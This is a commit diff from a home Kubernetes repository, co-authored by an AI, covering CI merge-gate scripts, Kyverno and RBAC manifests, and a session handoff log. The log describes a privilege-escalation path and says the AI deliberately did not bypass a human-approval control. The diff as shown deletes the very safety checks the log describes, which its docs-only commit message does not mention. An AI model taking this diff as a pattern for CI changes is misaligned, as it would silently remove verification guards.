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jakman85andClaude Opus 5 ba17823ef8 docs(decisions-log): end-of-session PM handoff — six PRs open, and what a new machine needs
Written for a different session on a different computer. Lists the three open gated
PRs with their risk, the one command that must follow #11 (the drift detector skips
until its token exists, and a skipped detector detects nothing), and the three
credentials that are deliberately NOT in git and without which the toolbox and
cluster are unreachable: the age private key, prod.kubeconfig, and a Gitea
credential.

Records the measured platform state while telling the reader to re-measure it rather
than trust this log -- which is the whole point of CLAUDE.md section 2b, and which
this log earned by being confidently wrong for a month.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 03:25:11 -05:00
20 changed files with 19 additions and 886 deletions

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+2 -7
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@@ -124,13 +124,8 @@ jobs:
- name: Merge gate — ci/gate.sh (what `make -C ci gate` runs)
env:
GATE_STRICT_SKIPS: "true"
SETTINGS_API_TOKEN: ${{ secrets.SETTINGS_API_TOKEN }}
# ENABLED 2026-09-29. A skip of gitea-settings now BLOCKS instead of degrading to
# UNDETERMINED. Safe because THIS PR's own CI run is the proof: if the stage were
# skipping, this line turns that into a failure and the PR goes red instead of
# merging. Green here means the token resolved and the live Gitea matched the
# declaration in infra/gitea/expected-branch-protection.json.
REQUIRE_GITEA_SETTINGS: "true"
GITEA_SETTINGS_TOKEN: ${{ secrets.GITEA_SETTINGS_TOKEN }}
# REQUIRE_GITEA_SETTINGS: "true" # <- uncomment AFTER seeing gitea-settings green
run: ./ci/gate.sh || [ "$?" -eq 3 ]
# NOTE: no actions/upload-artifact step. Gitea Actions rejects upload-artifact@v4
+3 -73
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@@ -4971,19 +4971,18 @@ The session that began "set a SOPS secret" ended having rebuilt the delivery pip
claimed and scanning. `main` is genuinely protected and the gate genuinely enforces. What is
open is listed below with the reason each is not merged.
### MERGE THESE — both gated green
### MERGE THESE — all gated green, none merged
| PR | What | Risk |
|---|---|---|
| #11 | `ci/gitea-settings.sh` — detects Gitea branch-protection/runner drift | low; skips until its token exists |
| #12 | `CLUSTER_AVAILABLE=true` would have FAKED A GREEN over 54 skipped tests — now blocks | low; makes a wrong state loud |
| #13 | Admission boundary constraining the conformance CI trigger (R-SEC-02) + a fail-open fix in `ci/l0.sh` | medium; touches Kyverno + adds a Flux Kustomization |
(#11, the Gitea drift detector, was merged during this session — hence the action below.)
Order does not matter for correctness; if a later one conflicts, rebase and the gate re-runs
(~1m35s in CI, 76s local). **Each was gated in the pinned toolbox, not on a host.**
### DO THIS FIRST — #11 is merged and its detector is currently INERT
### AFTER MERGING #11 — one command, then one edit
`ci/gitea-settings.sh` SKIPS until its token exists, and **a skipped detector detects nothing**:
@@ -4993,10 +4992,6 @@ Then open any PR and confirm the gate prints `gitea-settings: green`. ONLY THEN
`REQUIRE_GITEA_SETTINGS: "true"` in `.gitea/workflows/gate.yml`, so a future missing token blocks
instead of skipping. Doing that before seeing it green locks the repo.
Until then every gate run ends `MERGE GATE: UNDETERMINED` (exit 3) naming `gitea-settings` as
unrun. That is BY DESIGN and `gate.yml` tolerates exit 3, so PRs still pass — but it is not a
green run, and it is saying so honestly. The token is what turns it green.
### A DIFFERENT COMPUTER NEEDS THREE THINGS THAT ARE NOT IN GIT
This is the part that will silently waste an hour otherwise. None of these are in the repo, by
@@ -5044,68 +5039,3 @@ fail-opens in the gate itself were found the same way — `kyverno test` certify
not load, and `CLUSTER_AVAILABLE` certifying 54 skipped tests as passed.
**Measure, then assert. `CLAUDE.md` §2b is the rule; this entry is the evidence for it.**
## 2026-09-29 (addendum, unattended) — the detector is armed; **I CANNOT MERGE, and that is correct**
Operator ran `set-ci-token.sh`, uncommented `REQUIRE_GITEA_SETTINGS` locally on `main`, and left
instructions to continue unattended and merge on green CI. Two things came out of that.
### 1. The detector was INERT, and would have stayed inert silently
`set-ci-token.sh` PUT the secret as `GITEA_SETTINGS_TOKEN`. **Gitea reserves the `GITEA_`
prefix** for secret names (as GitHub reserves `GITHUB_`) and rejected it:
HTTP 400 {"message":"invalid secret name"}
The script sent that PUT to `/dev/null` and printed `==> stored.` unconditionally; `curl -sS`
exits 0 on an HTTP error. **A token existed; no secret did.** So `ci/gitea-settings.sh` would
have skipped on every run forever — and enabling `REQUIRE_GITEA_SETTINGS` on top of that would
have BLOCKED EVERY PR, including the one fixing it. That is the exact lock-out this repo has now
nearly walked into three times.
Fixed in **PR #15**: the secret is `SETTINGS_API_TOKEN`, and `set-ci-token.sh` now checks the HTTP
status AND reads the secret back before claiming success. The missing verification was the real
defect; the illegal name is only what it hid. The secret is stored and verified present, and
**PR #15's CI is GREEN with `REQUIRE_GITEA_SETTINGS=true`** — which is the only proof that
matters, because a skip would have made it red.
The operator's local edit could not be pushed to `main` (protected). It is carried in PR #15.
### 2. No agent-authored PR can be merged without the operator — by design
Merging PR #12 as `gitea-admin` returned:
HTTP 405 {"message":"Does not have enough approvals"}
`required_approvals: 1` + `block_admin_merge_override: true` + two accounts, one of which
(`gitea-admin`) authors every agent PR and cannot self-approve. **So "merge on green CI" is not
something an agent can execute here.** That is the control working, not a fault — and it was
deliberately not circumvented. Self-approving would hollow out the boundary that was just built
and verified.
**This is an operator decision, not a bug to fix:** either accept that every agent PR waits for a
human approval (the honest reading of the control), or add a second human reviewer account, or
lower `required_approvals` to 0 and rely on the status check — which is the gate that actually
verifies something. Whichever, change the DECLARATION in
`infra/gitea/expected-branch-protection.json` in the same commit, or `gitea-settings` will
correctly fail the gate on the drift.
### Open PRs, all gated green, none mergeable by an agent
| PR | What |
|---|---|
| #12 | `CLUSTER_AVAILABLE=true` would have faked a green over 54 skipped tests — now blocks |
| #13 | Conformance-trigger admission boundary (R-SEC-02) + `kyverno test` fail-open fix |
| #14 | This handoff |
| #15 | Secret-name fix + `REQUIRE_GITEA_SETTINGS` enabled — **CI green with REQUIRE active** |
Suggested order: #15 first (it arms the detector and its CI already proved it), then #12, #13,
#14. If a later one conflicts, rebase; the gate re-runs in ~1m36s.
### Deliberately NOT done while unattended
No new feature work was started. Five unmerged PRs already stack review burden, and building the
next L2/L3 piece on top of unmerged branches would create a rebase tangle for no gain — the work
cannot land any faster. The next piece is specified and ready to start once these are merged:
`docs/plans/l2-l3-conformance-ci-wiring.md` §3, with §4's credential model now decided and its
boundary landed in #13.
-40
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@@ -61,45 +61,5 @@ if [ -d "${CONF_ART}/coverage" ]; then
cp -r "${CONF_ART}/coverage/." "${COVERAGE_DIR}/"
fi
# ---------------------------------------------------------------------------------------
# DID IT ACTUALLY RUN? -- the guard without which this stage FAKES A GREEN.
#
# run.sh exits 0 in "scaffold mode" when it cannot reach a cluster: it emits a JUnit file
# whose every testcase is <skipped> and returns success. That is correct FOR run.sh -- an
# honest skip is its documented no-cluster behaviour. It is catastrophic HERE, because
# reaching this point means the environment DECLARED CLUSTER_AVAILABLE=true, and this stage
# would otherwise print "L2/L3 conformance passed" over 54 tests that never executed.
#
# MEASURED 2026-09-29, before this guard existed:
# CLUSTER_AVAILABLE=true ./ci/conformance.sh -> rc=0
# "[junit] wrote skipped JUnit for 54 scaffolded test(s)"
# "[ ok ] L2/L3 conformance passed for touched subset"
# One Gitea variable away from a fake green on an enforcing merge gate. That is exactly the
# HARD RULE 4 violation this repo's whole gate design exists to prevent, and nothing caught
# it because nobody had ever set the variable.
#
# A skip while a cluster is DECLARED is a contradiction: either the declaration is wrong or
# the cluster is unreachable. The merge-gate decision matrix already says this case is BLOCK
# ("conformance skipped while CLUSTER_AVAILABLE=true -> BLOCK (it should have run)"). This
# makes the stage itself honour that instead of reporting a pass.
JUNIT="${CONF_ART}/report.junit.xml"
if [ -f "$JUNIT" ]; then
total="$(grep -o '<testcase' "$JUNIT" | wc -l | tr -d ' ')"
skipped="$(grep -o '<skipped' "$JUNIT" | wc -l | tr -d ' ')"
if [ "${total:-0}" -gt 0 ] && [ "${skipped:-0}" -ge "${total:-0}" ]; then
err "CLUSTER_AVAILABLE=true, but the L2/L3 suite SKIPPED every one of its ${total} tests"
err " (scaffold mode -- run.sh could not reach a cluster and exited 0)."
err " This stage will NOT report that as a pass. Either the cluster is unreachable from"
err " this runner, or CLUSTER_AVAILABLE is set when it should not be."
err " NOTE: the in-cluster trigger path is still UNIMPLEMENTED -- see"
err " docs/plans/l2-l3-conformance-ci-wiring.md. Setting CLUSTER_AVAILABLE=true does not"
err " by itself make L2/L3 run; it only makes this stage attempt a LOCAL run that the CI"
err " runner has no credential for (automountServiceAccountToken: false, by design)."
summary "- conformance-l2-l3: **BLOCKED — declared available but every test skipped** (not a pass)"
exit 1
fi
log "L2/L3 executed: ${total} testcase(s), ${skipped} skipped"
fi
ok "L2/L3 conformance passed for touched subset"
summary "- conformance-l2-l3: **passed**"
+3 -16
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@@ -42,16 +42,9 @@
# skip like spec-immutability's (UNDETERMINED, exit 3) rather than a hard block, so
# that an unwired credential cannot lock the repository.
#
# TO WIRE IT: create a Gitea repo secret SETTINGS_API_TOKEN (a token that can read repo
# TO WIRE IT: create a Gitea repo secret GITEA_SETTINGS_TOKEN (a token that can read repo
# settings) — infra/gitea/set-ci-token.sh does it. Until then this stage skips LOUDLY and
# the drift it exists to catch is still undetected.
#
# NOT `GITEA_SETTINGS_TOKEN`. This comment named that until 2026-09-29 and it instructed the
# reader to do something IMPOSSIBLE: Gitea reserves the `GITEA_` prefix for secret names and
# rejects the PUT with HTTP 400 "invalid secret name". That is not a style rule — it is why the
# detector sat inert for hours while a token existed and no secret did. The env var below still
# accepts GITEA_SETTINGS_TOKEN, but only for a LOCAL run: it can never be the CI wiring, because
# the secret that would feed it cannot be created at all.
set -euo pipefail
CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_ROOT="$(cd "${CI_DIR}/.." && pwd)"
@@ -63,20 +56,14 @@ log "Stage: Gitea platform settings match the declaration"
DECL="${REPO_ROOT}/infra/gitea/expected-branch-protection.json"
GITEA_URL="${GITEA_URL:-https://gitea.home.keithjackson.dev}"
GITEA_REPO="${GITEA_REPO:-Home-Network/home-network-k3s-impl}"
# SETTINGS_API_TOKEN, not GITEA_SETTINGS_TOKEN. Gitea RESERVES the `GITEA_` prefix for
# secret names and rejects a PUT of one with HTTP 400 "invalid secret name" — the same way
# GitHub reserves `GITHUB_`. The original name could therefore never be stored, and because
# infra/gitea/set-ci-token.sh sent that PUT to /dev/null and printed "stored" unconditionally,
# it looked like it had worked. A token was minted, no secret existed, and this stage would
# have skipped forever. GITEA_SETTINGS_TOKEN is still honoured for a local run.
TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
TOKEN="${GITEA_SETTINGS_TOKEN:-}"
[ -f "$DECL" ] || die "declaration missing: ${DECL}"
require_tool jq
require_tool curl
if [ -z "$TOKEN" ]; then
skip "SETTINGS_API_TOKEN is not set — cannot read the live Gitea rule."
skip "GITEA_SETTINGS_TOKEN is not set — cannot read the live Gitea rule."
skip " Branch protection and runner registration are therefore UNVERIFIED. They were"
skip " wrong, unnoticed, for a month (2026-09-29). Wire it: infra/gitea/set-ci-token.sh"
summary "- gitea-settings: **SKIPPED — no token** (protection + runners UNVERIFIED; not a pass)"
+3 -28
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@@ -79,37 +79,12 @@ else
cp -a "${KYVERNO_POLICY_DIR}/." "$l0_render/"
find "$l0_render" -type f -name '*.yaml' -print0 \
| xargs -0 sed -i "s/\${KYVERNO_VALIDATION_ACTION}/${KYVERNO_VALIDATION_ACTION}/g"
# DO NOT TRUST `kyverno test`'s EXIT CODE ALONE. A policy that fails to LOAD (schema
# error, bad match block, malformed JMESPath) does not fail the run: every result row
# becomes `Skip / Invalid Policy` and the CLI still prints "N tests passed" and exits 0.
#
# MEASURED 2026-09-29 while authoring conformance-trigger-job-shape: the policy had its
# `subjects` in a separate `match.all` entry from its `resources` — a schema error. All 9
# rows came back `Skip / Invalid Policy`, and the summary read:
# Test Summary: 9 tests passed and 0 tests failed
# `kyverno apply` on the same file reported `error: 1` and named the path. So the gate's
# own policy stage would have certified a SECURITY POLICY THAT DOES NOT LOAD as green.
#
# This is not specific to that policy: a typo in restrict-host-namespaces or
# secret-provenance would silently disable it and the gate would stay green. Scan the
# output for the load failure the exit code hides.
l0_kout="$(mktemp)"
if kyverno test "$l0_render" 2>&1 | tee "$l0_kout"; then
if grep -q 'Invalid Policy' "$l0_kout"; then
err "Kyverno reported 'Invalid Policy' — one or more policies FAILED TO LOAD and were"
err " skipped, so their rules were never evaluated. The CLI exits 0 for this; the gate"
err " must not. Run 'kyverno apply <policy> --resource <resources>' for the exact path."
grep -n 'Invalid Policy' "$l0_kout" | head -5 >&2
summary "- kyverno-l0: **FAILED — policy did not load** (Invalid Policy; rules never evaluated)"
rc=1
else
ok "Kyverno L0 policy tests passed"
summary "- kyverno-l0: **passed**"
fi
if kyverno test "$l0_render"; then
ok "Kyverno L0 policy tests passed"
summary "- kyverno-l0: **passed**"
else
err "Kyverno L0 policy tests failed"; summary "- kyverno-l0: **FAILED**"; rc=1
fi
rm -f "$l0_kout"
rm -rf "$l0_render"
fi
-31
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@@ -1,31 +0,0 @@
---
# Conformance identities (ns + conformance-runner + conformance-trigger RBAC).
#
# NON-GATING, exactly like apps-vms: `wait: false` and its own Kustomization, so a conformance
# identity can never gate the platform or app tiers. A test harness that stalls the estate it is
# meant to verify is worse than no harness.
#
# dependsOn platform-config only — it needs nothing from the app waves, and nothing in the app
# waves needs it.
#
# NOTE: this reconciles RBAC that is INERT until
# platform/kyverno/admission/conformance-trigger-job-shape.yaml is also enforcing. That policy
# ships in the `platform` tier, which reconciles before this. Do not reorder them so that the
# trigger identity can exist while the policy bounding it does not.
apiVersion: kustomize.toolkit.fluxcd.io/v1
kind: Kustomization
metadata:
name: conformance
namespace: flux-system
spec:
interval: 10m
retryInterval: 2m
timeout: 5m
prune: true
wait: false
dependsOn:
- name: platform-config
sourceRef:
kind: GitRepository
name: flux-system
path: ./conformance/incluster
-1
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@@ -33,7 +33,6 @@ resources:
- apps-wave-2.yaml # Flux Kustomization -> ./apps/wave-2 (dependsOn apps-wave-1)
# VM tier (KubeVirt) — non-gating (wait:false), separate lifecycle from the app waves.
- apps-vms.yaml # Flux Kustomization -> ./apps/vms (dependsOn platform-config)
- conformance.yaml # Flux Kustomization -> ./conformance/incluster (non-gating; R-SEC-02 trigger identity)
# oauth2-proxy forward-auth — POST-platform tier (dependsOn platform-config, wait:false). A leaf
# service that needs Keycloak + trusted TLS + split-horizon DNS must NOT sit in the gating
# `platform` tier, where it self-gated its own dependencies into a cold-start deadlock (twice).
-14
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@@ -1,14 +0,0 @@
# Reconciled by clusters/base/conformance.yaml (non-gating, wait:false).
#
# RBAC ONLY. chainsaw-job.yaml is deliberately NOT listed: that manifest is a TEMPLATE the CI
# trigger renders and submits per run (with the commit SHA and the touched --requirements). Flux
# reconciling it would create a permanent Job object and fight the trigger for ownership.
#
# The identities here are inert without
# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which is what actually bounds
# the trigger to the committed run shape. RBAC is the necessary half, that policy the sufficient
# half — see the header of rbac.yaml.
apiVersion: kustomize.config.k8s.io/v1beta1
kind: Kustomization
resources:
- rbac.yaml
-65
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@@ -174,68 +174,3 @@ subjects:
- kind: ServiceAccount
name: conformance-runner
namespace: conformance
---
# =============================================================================
# THE TRIGGER IDENTITY — deliberately NOT conformance-runner.
#
# THE ESCALATION THIS EXISTS TO CLOSE (docs/plans/l2-l3-conformance-ci-wiring.md §4):
# Kubernetes places NO `use` check on a Pod/Job's `serviceAccountName`. So any principal
# that can `create jobs` in this namespace can create a Job with
# `serviceAccountName: conformance-runner` and an ARBITRARY command — i.e. run arbitrary
# code with the runner's privileges (nodes/patch, pods/exec, namespaces/patch, jobs).
# A CI-held token with plain `create jobs` therefore IS the privileged identity, no matter
# how narrow its own RBAC looks. That would break R-SEC-02 ("CI holds no broad cluster
# access") while appearing to satisfy it.
#
# RBAC ALONE CANNOT FIX THIS. The real boundary is the admission policy
# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which admits Jobs from
# THIS ServiceAccount only when they match the committed conformance shape. This Role is
# the necessary half; that policy is the sufficient half. Neither works alone — do not
# grant this Role without that policy reconciled and ENFORCING.
#
# Namespaced Role, bound only in `conformance`. No ClusterRole, deliberately.
# =============================================================================
apiVersion: v1
kind: ServiceAccount
metadata:
name: conformance-trigger
namespace: conformance
labels:
app.kubernetes.io/part-of: conformance
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: conformance-trigger
namespace: conformance
labels:
app.kubernetes.io/part-of: conformance
rules:
# Create the run, and watch it to completion.
- apiGroups: [batch]
resources: [jobs]
verbs: [create, get, list, watch]
# Read the Job's pod and its log — this is how results come back. Deliberately NOT
# pods/exec and NOT `kubectl cp`: the run tars its artifacts to stdout and CI decodes
# them from the log, so no execution channel into the runner pod is ever granted.
- apiGroups: [""]
resources: [pods, pods/log]
verbs: [get, list, watch]
# NOTHING ELSE. In particular NO delete on jobs (a trigger that can delete can hide a
# failed run), no secrets, no configmaps, no exec, no create on pods.
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: conformance-trigger
namespace: conformance
labels:
app.kubernetes.io/part-of: conformance
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: conformance-trigger
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
@@ -1,42 +0,0 @@
# =============================================================================
# L0 STATIC — every authored admission policy is actually APPLIED (R-SEC-01, R-SEC-02)
# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
#
# WHY THIS EXISTS. `kyverno test` proves a policy is CORRECT. Nothing proved it was DEPLOYED.
# platform/kyverno/ holds three lists and only platform-config/kustomization.yaml applies
# anything; the other two are a reference copy and a namespace+HelmRelease render root. On
# 2026-09-29 the R-SEC-02 boundary policy was added to the reference copy: it parsed, its
# kyverno test passed, the gate passed, Flux reported the tier Ready at the new revision — and
# the cluster ran the conformance-trigger ServiceAccount with nothing bounding it.
#
# WHOLE-REPO SCOPE, DELIBERATELY. The failure mode is a policy that is present but wired
# nowhere, which by definition touches no requirement the diff attributes. A path-scoped run
# would have skipped this check on the very commit that introduced the defect.
# =============================================================================
apiVersion: chainsaw.kyverno.io/v1alpha1
kind: Test
metadata:
name: admission-policies-actually-applied
labels:
conformance.home.k3s/R-SEC-01: "true"
conformance.home.k3s/R-SEC-02: "true"
annotations:
conformance.home.k3s/requirements: "R-SEC-01,R-SEC-02"
conformance.home.k3s/layer: "L0"
conformance.home.k3s/scope: "whole-repo"
conformance.home.k3s/safety-critical: "false"
conformance.home.k3s/executable: "true"
conformance.home.k3s/intent: >-
Every ClusterPolicy authored under platform/kyverno/ is either referenced by
platform-config/kustomization.yaml (so Flux applies it) or is a documented CI-only
exemption that is genuinely not applied — so a policy cannot be authored, tested,
green, and absent from the cluster.
spec:
steps:
- name: every-authored-policy-is-applied-or-documented-ci-only
description: >-
Enumerate the ClusterPolicy files under platform/kyverno/ and assert each is wired
into the Kustomization that actually applies Kyverno CRs, or exempted with a reason.
try:
- script:
content: bash ./check.sh
@@ -1,120 +0,0 @@
#!/usr/bin/env bash
# =============================================================================
# L0 static check (offline, no cluster) — admission-policies-actually-applied
# Serves: R-SEC-01, R-SEC-02 (admission enforcement is only real if it is APPLIED)
#
# WHY THIS EXISTS — a policy that ships green and never reaches the cluster.
#
# platform/kyverno/ holds THREE lists, and only one of them applies anything:
# 1. platform/kyverno/admission/kustomization.yaml — reference only. Its own sibling says
# "kept as reference; THIS file is the buildable render root".
# 2. platform/kyverno/kustomization.yaml — that render root: namespace +
# HelmRelease ONLY. It explicitly notes the ClusterPolicies are applied elsewhere.
# 3. platform-config/kustomization.yaml — THE ONE. Kyverno CRs go here because
# they need the CRDs from the HelmRelease in (2), so they reconcile a tier later.
#
# On 2026-09-29 a ClusterPolicy (conformance-trigger-job-shape, the R-SEC-02 boundary bounding
# what the conformance CI trigger may create) was added to (1). Everything went green: the file
# parsed, `kyverno test` exercised it BY PATH and passed, the gate passed, Flux reported
# `platform` Ready at the new revision — and the policy was never in any applied set. The
# cluster ended up running the conformance-trigger ServiceAccount with NOTHING bounding it,
# which is precisely the state that identity's own RBAC header says must never exist.
#
# Nothing could have caught it. `kyverno test` proves a policy is CORRECT, not that it is
# DEPLOYED. This check asserts the second thing.
#
# GIVEN the repository as git tracks it,
# WHEN every file under platform/kyverno/ that declares a ClusterPolicy is enumerated,
# THEN each one is either referenced by platform-config/kustomization.yaml (so Flux applies
# it), or named in CI_ONLY below with a reason — and CI_ONLY itself may not name a
# policy that IS applied, so the exemption list cannot rot into a lie either way.
# =============================================================================
set -euo pipefail
DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
ROOT="$(cd "${DIR}/../../../.." && pwd)" # repo root
exec python3 - "$ROOT" <<'PY'
import sys, subprocess
from pathlib import Path
ROOT = Path(sys.argv[1])
FAILURES, CHECKS = [], 0
def check(cond, desc):
global CHECKS
CHECKS += 1
if not cond:
FAILURES.append(desc)
# Policies authored for the CI L0 gate that are deliberately NOT applied in-cluster. Each needs
# a reason, and each is asserted BELOW to really be absent from the applied set — an exemption
# that silently starts being applied is as much a lie as one that silently stops.
CI_ONLY = {
"disallow-plaintext-secrets":
"CI-only by design: it requires a top-level `sops` block, which is IMPOSSIBLE at "
"admission because Flux decrypts before the Secret reaches the API server. Its "
"in-cluster counterpart is admission/secret-provenance.yaml.",
}
tracked = subprocess.run(["git", "ls-files", "-z", "--", "platform/kyverno/**/*.yaml",
"platform/kyverno/*.yaml"],
cwd=ROOT, capture_output=True, text=True, check=True)
files = [ROOT / p for p in tracked.stdout.split("\0") if p]
# A ClusterPolicy file, identified without a YAML parse of every doc: cheap and sufficient.
policies = {}
for f in files:
try:
txt = f.read_text()
except Exception:
continue
if "kind: ClusterPolicy" not in txt:
continue
for line in txt.splitlines():
st = line.strip()
if st.startswith("name:") and " name:" in line:
policies[f.relative_to(ROOT).as_posix()] = st.split("name:", 1)[1].strip()
break
check(len(policies) >= 6,
f"(0) the scan found {len(policies)} ClusterPolicy file(s) under platform/kyverno/ — "
f"too few means the scan broke, and every assertion below would be vacuous")
applied_txt = (ROOT / "platform-config" / "kustomization.yaml").read_text()
unapplied, wrongly_exempt = [], []
for rel, name in sorted(policies.items()):
# platform-config references these as ../platform/kyverno/...
referenced = rel in applied_txt or rel.replace("platform/", "../platform/", 1) in applied_txt
if name in CI_ONLY:
if referenced:
wrongly_exempt.append(f"{name} ({rel}) is listed CI_ONLY but IS applied by platform-config")
elif not referenced:
unapplied.append(f"{name} ({rel})")
check(not unapplied,
f"(1) every in-cluster ClusterPolicy is referenced by platform-config/kustomization.yaml "
f"— an unreferenced policy is authored, tested, green, and NEVER APPLIED {unapplied if unapplied else ''}")
check(not wrongly_exempt,
f"(2) no CI_ONLY exemption names a policy that IS applied — a stale exemption hides a "
f"real deployment {wrongly_exempt if wrongly_exempt else ''}")
for name, reason in CI_ONLY.items():
check(bool(reason.strip()),
f"(3) CI_ONLY['{name}'] carries a reason — an unexplained exemption is how this "
f"list stops being reviewable")
check(CHECKS >= 4,
f"only {CHECKS} assertions ran — the check degenerated to a near-no-op")
if FAILURES:
print(f"CHECK FAIL (admission-policies-actually-applied): {len(FAILURES)} of {CHECKS} assertions failed",
file=sys.stderr)
for f in FAILURES:
print(f" - {f}", file=sys.stderr)
raise SystemExit(1)
print(f"check OK: admission-policies-actually-applied — {CHECKS} assertions; "
f"{len(policies)} ClusterPolicy file(s), {len(policies) - len(CI_ONLY)} applied by "
f"platform-config, {len(CI_ONLY)} CI-only with reasons. Proves policies are DEPLOYED, "
f"not that they are correct — `kyverno test` is what proves correctness.")
PY
@@ -216,20 +216,6 @@ def is_literal_base(host: str) -> bool:
DELIVERY_ROOTS = ("apps", "platform", "platform-config", "platform-config-cdi",
"runbooks", "clusters", "bootstrap", "catalog")
# NARROW EXEMPTION to (0), for reconciled trees that deliberately serve NOTHING.
# `conformance/incluster` (the L2/L3 runner + CI-trigger identities, R-SEC-02) is reconciled
# by clusters/base/conformance.yaml but contains only a Namespace, ServiceAccounts, RBAC and
# an admission-bounded Job template. Adding "conformance" to DELIVERY_ROOTS instead would be
# wrong for the reason stated above: it would sweep in this harness's synthetic fixture
# routes and make (8) demand the operator's dashboard link them.
#
# THE EXEMPTION POLICES ITSELF. An unchecked allowlist is how (0) would rot into a fail-open —
# add a tree here, later put an HTTPRoute in it, and the forward direction goes quietly green
# on a hidden service. So each exempted tree is ASSERTED below to declare no route and no
# hostname-publishing Service. If that ever stops being true the check fails and the tree must
# become a real delivery root.
NON_SERVING_RECONCILED = ("conformance/incluster",)
def tracked_yaml() -> list[Path]:
out = subprocess.run(["git", "ls-files", "-z", "--", "*.yaml", "*.yml"],
@@ -276,31 +262,12 @@ flux_ks = [(p, d) for p, d in docs_all()
# a Kustomization declared elsewhere); they name no source and reconcile nothing, so requiring
# a path of them would fail on a file that is correct.
reconcilers = [(p, d) for p, d in flux_ks if (d.get("spec", {}) or {}).get("sourceRef")]
def _reconciled_path(d):
return (d.get("spec", {}) or {}).get("path", "").lstrip("./").rstrip("/")
unscanned = sorted({
f"{p.relative_to(ROOT)}:{(d.get('spec', {}) or {}).get('path', '') or '(no path)'}"
for p, d in reconcilers
if _reconciled_path(d).split("/")[0] not in DELIVERY_ROOTS
and _reconciled_path(d) not in NON_SERVING_RECONCILED
if (d.get("spec", {}) or {}).get("path", "").lstrip("./").split("/")[0]
not in DELIVERY_ROOTS
})
# The exemption's own guard: an exempted tree must actually serve nothing.
exempt_serving = sorted({
f"{p.relative_to(ROOT)} ({d.get('kind')})"
for p, d in docs_all()
if any(str(p.relative_to(ROOT)).startswith(t + "/") for t in NON_SERVING_RECONCILED)
and (d.get("kind") == "HTTPRoute"
or (d.get("kind") == "Service"
and any("hostname" in str(k).lower()
for k in ((d.get("metadata", {}) or {}).get("annotations", {}) or {}))))
})
check(not exempt_serving,
f"(0b) every NON_SERVING_RECONCILED tree really serves nothing — an exempted tree that "
f"gains a route would hide a service from this check entirely "
f"{exempt_serving if exempt_serving else ''}")
check(len(reconcilers) >= 10 and not unscanned,
f"(0) all {len(reconcilers)} Flux-reconciled path(s) lie inside a scanned root — a "
f"reconciled tree this check does not read is a service it cannot require a link for "
+2 -15
View File
@@ -38,21 +38,8 @@ agents. So the credential model must be decided by the operator before anything
| Runner deployment | `apps/wave-1/gitea-actions.yaml` | act_runner + DinD (Docker executor). **`automountServiceAccountToken: false`** — the runner and its job containers hold NO SA token. Broad egress allowed (`- {}`), so it can *reach* the kube-API VIP `192.168.1.49:6443`, but has no credential. |
| Secrets encryption | `.sops.yaml` (repo root) | age recipient `age175l8m…mfzg`; encrypts `data`/`stringData` of `*.sops.yaml` under `platform|apps|catalog/**` and `secrets/**`. Private key is the in-cluster `sops-age` Secret Flux uses. |
**Cluster reality:** the "Phase 0 / no cluster" language in these files is stale — the cluster is
LIVE (and it is now PROD; dev was decommissioned 2026-09-12).
> **CORRECTION (2026-09-29): `CLUSTER_AVAILABLE` is NOT "the only remaining gate", and setting it
> today is actively DANGEROUS.** Measured: with `CLUSTER_AVAILABLE=true` and no reachable cluster,
> `conformance/run.sh` exits 0 in scaffold mode having marked all 54 tests `<skipped>`, and
> `ci/conformance.sh` then printed `[ ok ] L2/L3 conformance passed for touched subset` — **rc 0, a
> fake green**, on a merge gate that is now an enforcing required status check. The CI runner has
> no cluster credential at all (`automountServiceAccountToken: false`, by design), so the "local
> run" this stage attempts can never succeed; it can only skip and, before the guard added on
> 2026-09-29, lie about it.
>
> `ci/conformance.sh` now BLOCKS (exit 1) when a cluster is declared but every test skipped. **Do
> not set `CLUSTER_AVAILABLE=true` until §3's trigger path actually exists** — the variable does
> not enable L2/L3, it only changes which way this stage fails.
**Cluster reality:** the "Phase 0 / no cluster" language in these files is stale — the dev cluster
is LIVE (Phase 6). So `CLUSTER_AVAILABLE` is the only remaining gate, exactly as the blueprint says.
---
+4 -20
View File
@@ -10,10 +10,6 @@
# confirm the check goes green rather than assuming the scope name.
set -euo pipefail
HOST=gitea.home.keithjackson.dev; OWNER=Home-Network; REPO=home-network-k3s-impl
# NOT GITEA_* — Gitea reserves that prefix for secret names and returns HTTP 400
# "invalid secret name". The first version of this script used GITEA_SETTINGS_TOKEN, sent the
# PUT to /dev/null, and printed "stored" regardless; the secret never existed and nobody knew.
SECRET=SETTINGS_API_TOKEN
NAME="ci-gitea-settings-$(date +%Y%m%d%H%M%S)"
creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
U="$(sed -n 's/^username=//p' <<<"$creds")"; P="$(sed -n 's/^password=//p' <<<"$creds")"
@@ -26,24 +22,12 @@ TOKEN="$(basic -X POST -H 'Content-Type: application/json' \
[ -n "$TOKEN" ] || { echo "token creation failed (check scopes for your Gitea version)" >&2; exit 1; }
echo "==> got a ${#TOKEN}-character token (value not shown)"
echo "==> storing it as repo Actions secret ${SECRET}"
code="$(basic -o /tmp/set-ci-token.out -w '%{http_code}' -X PUT -H 'Content-Type: application/json' \
echo "==> storing it as repo Actions secret GITEA_SETTINGS_TOKEN"
basic -X PUT -H 'Content-Type: application/json' \
-d "$(jq -n --arg d "$TOKEN" '{data:$d}')" \
"https://${HOST}/api/v1/repos/${OWNER}/${REPO}/actions/secrets/${SECRET}")"
"https://${HOST}/api/v1/repos/${OWNER}/${REPO}/actions/secrets/GITEA_SETTINGS_TOKEN" >/dev/null
unset TOKEN
if [ "$code" != 201 ] && [ "$code" != 204 ]; then
echo " PUT failed: HTTP ${code} -- $(head -c 200 /tmp/set-ci-token.out)" >&2
rm -f /tmp/set-ci-token.out; exit 1
fi
rm -f /tmp/set-ci-token.out
# VERIFY BY READING IT BACK. curl -sS exits 0 on an HTTP error, so without this the script
